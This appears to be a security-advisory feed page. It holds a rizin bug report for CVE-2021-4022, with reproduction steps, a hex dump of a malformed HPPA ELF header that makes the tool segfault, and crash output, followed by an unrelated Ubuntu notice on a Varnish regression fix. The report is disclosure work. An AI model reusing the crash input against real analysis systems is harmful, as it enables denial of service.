Running aaa on an ELF64 file shouldn't make rizin crash.

**Actual behavior**

Rizin segfaults.

**Steps to reproducebinary the behavior**

Run aaa (or start rizin with the -A flag) with the binary named crash attached below.

**Additional Logs, screenshots, source code, configuration dump, ...**

The crash happens in the file librz/core/analysis_tp.c at line 950. When analyzing the binary attached below, the goto at line 849 is executed, but then at line 950 free is called with retctx.ret_reg as an argument. The problem is that retctx.ret_reg only gets initialized at line 860, but that line never gets executed because the goto gets executed first.  
As a result of this, whatever was on the stack at that time gets freeed (for example, in the statically linked release version for linux, the block size will be the value that gets freeed).

So far, we've only seen the crash happen on a HPPA binary. In the archive attached to this issue, we modified the elf header and set the architecture to amd64 and that binary doesn't seem to crash.

Here's a bit of information about both binaries:

    $ binwalk -W crash nocrash 
    
    OFFSET      crash                                                                nocrash
    --------------------------------------------------------------------------------
    0x00000000  7F 45 4C 46 02 30 30 30 30 30 30 30 30 30 30 30 |.ELF.00000000000| \ 7F 45 4C 46 02 30 30 30 30 30 30 30 30 30 30 30 |.ELF.00000000000|
    0x00000010  30 30 0F 00 30 30 30 30 30 30 30 30 30 30 30 30 |00..000000000000| / 30 30 3E 00 30 30 30 30 30 30 30 30 30 30 30 30 |00>.000000000000|
    0x00000020  40 00 00 00 00 00 00 00 30 30 30 30 30 30 30 30 |@.......00000000| \ 40 00 00 00 00 00 00 00 30 30 30 30 30 30 30 30 |@.......00000000|
    0x00000030  30 30 30 30 30 30 30 30 02 00 30 30 30 30 30 30 |00000000..000000| / 30 30 30 30 30 30 30 30 02 00 30 30 30 30 30 30 |00000000..000000|
    0x00000040  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| \ 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
    0x00000050  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| / 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
    0x00000060  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| \ 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
    0x00000070  30 30 30 30 30 30 30 30 01 00 00 00 05 30 30 30 |00000000.....000| / 30 30 30 30 30 30 30 30 01 00 00 00 05 30 30 30 |00000000.....000|
    0x00000080  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| \ 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
    0x00000090  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| / 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
    0x000000A0  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| \ 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
    

(the only difference is the target architecture)

    $ readelf -h crash
    ...
      Machine:                           HPPA
    ...
    $ readelf -h nocrash
    ...
      Machine:                           Advanced Micro Devices X86-64
    ...
    

And here's the crash in action:

    $ ~/rizin/build/binrz/rizin/rizin -A crash 
    [x] Analyze all flags starting with sym. and entry0 (aa)
    [x] Analyze function calls (aac)
    [Skipping huge ranges of instructions for references (aar)
    [x] Analyze len bytes of instructions for references (aar)
    [x] Check for classes
    [x] Finding xrefs in noncode section with analysis.in=io.maps
    [x] Analyze value pointers (aav)
    [Warning: Skipping large region30 to 0x6060606060606060 (aav)
    [Cannot find program counter register in the current profile.
    [x] Emulate functions to find computed references (aaef)
    [Segmentation fault (core dumped)l functions (aaft)
    

As mentioned before, the binary with amd64 in the header works well:

    $ ~/rizin/build/binrz/rizin/rizin -A nocrash 
    [x] Analyze all flags starting with sym. and entry0 (aa)
    [x] Analyze function calls (aac)
    [Skipping huge ranges of instructions for references (aar)
    [x] Analyze len bytes of instructions for references (aar)
    [x] Check for classes
    [x] Type matching analysis for all functions (aaft)
    [x] Propagate noreturn information
    [x] Use -AA or aaaa to perform additional experimental analysis.
    [0x3030303030303030]>
    

binaries.zip

CVE-2021-4022: CVE-2021-4022: Segfault when analyzing an ELF64 for HPPA architecture · Issue #2015 · rizinorg/rizin

Ubuntu Security Notice 5474-2 - USN-5474-1 fixed vulnerabilities in Varnish Cache. Unfortunately the fix for CVE-2020-11653 was incomplete. This update fixes the problem. It was discovered that Varnish Cache could have an assertion failure when a TLS termination proxy uses PROXY version 2. A remote attacker could possibly use this issue to restart the daemon and cause a performance loss.

    =========================================================================Ubuntu Security Notice USN-5474-2August 23, 2022varnish regression=========================================================================A security issue affects these releases of Ubuntu and its derivatives:- Ubuntu 20.04 LTSSummary:Varnish Cache could be made to restart if it received specially crafted input.Software Description:- varnish: state of the art, high-performance web acceleratorDetails:USN-5474-1 fixed vulnerabilities in Varnish Cache. Unfortunately the fix forCVE-2020-11653 was incomplete. This update fixes the problem.Original advisory details: It was discovered that Varnish Cache could have an assertion failure when a TLS termination proxy uses PROXY version 2. A remote attacker could possibly use this issue to restart the daemon and cause a performance loss. (CVE-2020-11653)Update instructions:The problem can be corrected by updating your system to the followingpackage versions:Ubuntu 20.04 LTS:  libvarnishapi2                  6.2.1-2ubuntu0.2  varnish                         6.2.1-2ubuntu0.2In general, a standard system update will make all the necessary changes.References:  https://ubuntu.com/security/notices/USN-5474-2  https://ubuntu.com/security/notices/USN-5474-1  CVE-2020-11653Package Information:  https://launchpad.net/ubuntu/+source/varnish/6.2.1-2ubuntu0.2

Tag

#ubuntu